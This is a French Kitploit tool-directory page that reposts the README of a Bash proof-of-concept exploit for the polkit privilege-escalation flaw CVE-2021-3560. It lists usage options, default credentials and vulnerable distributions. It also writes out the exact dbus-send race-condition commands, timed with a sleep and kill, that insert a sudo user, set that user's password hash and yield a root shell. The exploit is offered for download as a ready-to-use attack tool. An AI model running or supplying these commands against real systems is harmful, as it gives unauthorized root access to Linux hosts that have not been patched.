Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — PoC Bash automatisé pour l'escalade de privilèges CVE-2021-3560 polkit. Exploite une condition de concurrence temporelle dbus pour créer un utilisateur sudo et obtenir un shell root sur les distributions Linux vulnérables. | Kitploit
Outils/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionRed Teaming
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

PoC Bash automatisé pour l'escalade de privilèges CVE-2021-3560 polkit. Exploite une condition de concurrence temporelle dbus pour créer un utilisateur sudo et obtenir un shell root sur les distributions Linux vulnérables.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
2il y a 4 moisPas encore vérifié

CVE-2021-3560-Polkit-Escalade-de-Privileges PoC

Recherche originale par Kevin Backhouse

Ceci est simplement un script Bash PoC qui automatise les étapes d'exploitation mentionnées dans le blog de Kevin Backhouse. Lisez son article sur cette vulnérabilité : https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Utilisation

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Points à noter :

  • Cet exploit fonctionne uniquement sur les distributions qui ont installé accountsservice et gnome-control-center et qui doivent avoir la version 0.113 (ou ultérieure) de polkit OU la version 0-105-26 (fork Debian de polkit).
  • Cet exploit a été testé sur Ubuntu 20.04, avec la version 0-105-26 de polkit (fork Debian de polkit) et Centos 8 avec la version 0.115 de polkit. Si vous êtes sûr que votre cible est vulnérable, mais que la fonction de vérification de l'exploit échoue, utilisez le drapeau -f=y pour contourner toutes les vérifications et forcer l'exploit.
  • Les distributions telles que RHEL 8, Fedora 21, Debian testing (« bullseye ») et Ubuntu 20.04 se sont avérées vulnérables.

Comment fonctionne l'exploit ?

Une explication complète et un PoC pour exploiter manuellement cette vulnérabilité sont donnés en détail sur le blog du chercheur.

TL;DR de cet exploit ci-dessous :

  • Cette attaque nécessite un timing précis et nous devons nous connecter via SSH (ou une session en ligne de commande, où l'ouverture d'applications graphiques n'est pas possible).
  • Un attaquant peut exploiter cette vulnérabilité en déclenchant polkit en envoyant un message dbus, mais en fermant brusquement la requête pendant que polkit traite la demande. Ensuite, l'attaquant peut envoyer une seconde requête avec l'identifiant de bus unique de la requête précédente, pour exécuter la requête en tant qu'UID 0 alias root.
  • Cette vulnérabilité existe dans polkit, car il traite l'UID d'une connexion avec un identifiant de bus qui n'existe plus comme une requête provenant de l'UID 0. Cela signifie que si nous pouvons chronométrer correctement l'attaque et terminer notre première requête au bon moment, nous pouvons alors envoyer la seconde requête avec les privilèges de l'UID 0 alias root.
  • Le timing pour terminer la connexion est calculé comme le temps nécessaire pour envoyer le message dbus / 2. Expliqué en détail ici.

Que fait réellement ce script ?

Comme je l'ai dit précédemment, il s'agit simplement d'un script bash qui automatise le PoC de Kevin Backhouse. Les commandes principales sont les mêmes ; j'ai simplement automatisé quelques étapes initiales (comme obtenir le bon timing, scanner la vulnérabilité, insérer des identifiants personnalisés, afficher de jolies couleurs, etc.).

Si ce script est exécuté sans aucun paramètre, le comportement par défaut de ce script est le suivant :

  • Vérifier le type de distribution. [En utilisant le fichier /etc/os-release.]
  • Vérifie l'installation de accountservice et gnome-control-center. [Dans les distributions rhel/centos/fedora, utilise rpm -qa et dans les distributions debian/ubuntu, utilise dpkg -l].
  • Si les installations sont trouvées, le script vérifie la version de polkit. [ 0.113 (ou ultérieure) pour rhel.centos,fedora et 0-105-26 pour Debian/Ubuntu]
  • Si la version de polkit est trouvée vulnérable, le script commence l'exploitation
  • Tout d'abord, le script trouve le temps nécessaire pour envoyer la requête en utilisant dbus-send en exécutant bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Télécharger l’outil
  • Une liste de compatibilité des distributions peut être trouvée dans le blog de Kevin.
  • Ce script injecte un nouvel utilisateur dans le groupe sudo. Si l'exploit fonctionne, nous pouvons nous connecter au compte en utilisant su - <username> avec le mot de passe fourni au script, puis entrer sudo bash pour obtenir un shell root!
  • Étant donné que cette attaque repose sur un timing précis, PLUSIEURS TENTATIVES SONT GÉNÉRALEMENT NÉCESSAIRES pour que cet exploit fonctionne.
  • AVERTISSEMENT : N'EXÉCUTEZ PAS CE SCRIPT DANS UNE SESSION DE CONNEXION GRAPHIQUE !
  • Si ce script est exécuté dans un environnement de connexion graphique, la boucle affichera de manière répétée l'authentification polkit. Exécutez donc cet exploit uniquement à l'intérieur d'un shell SSH/NC.
  • Si cela se produit, appuyez sur la touche Esc pour fermer l'invite d'authentification et sur Ctrl+C pour terminer rapidement le script.
  • Ensuite, le temps pour terminer la requête ($t) est calculé en divisant le temps nécessaire pour la requête par 2. ($t=time-required-to-request/2) [Calculé en utilisant awk]
  • Après avoir calculé le temps ($t), la requête pour insérer $username secnigma sur la cible est répétée 20 fois. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Si l'insertion de l'utilisateur est réussie, [trouvé en utilisant id secnigma], alors un hachage de mot de passe est généré [en utilisant bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Ensuite, la commande d'insertion du hachage de mot de passe est exécutée 20 fois. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!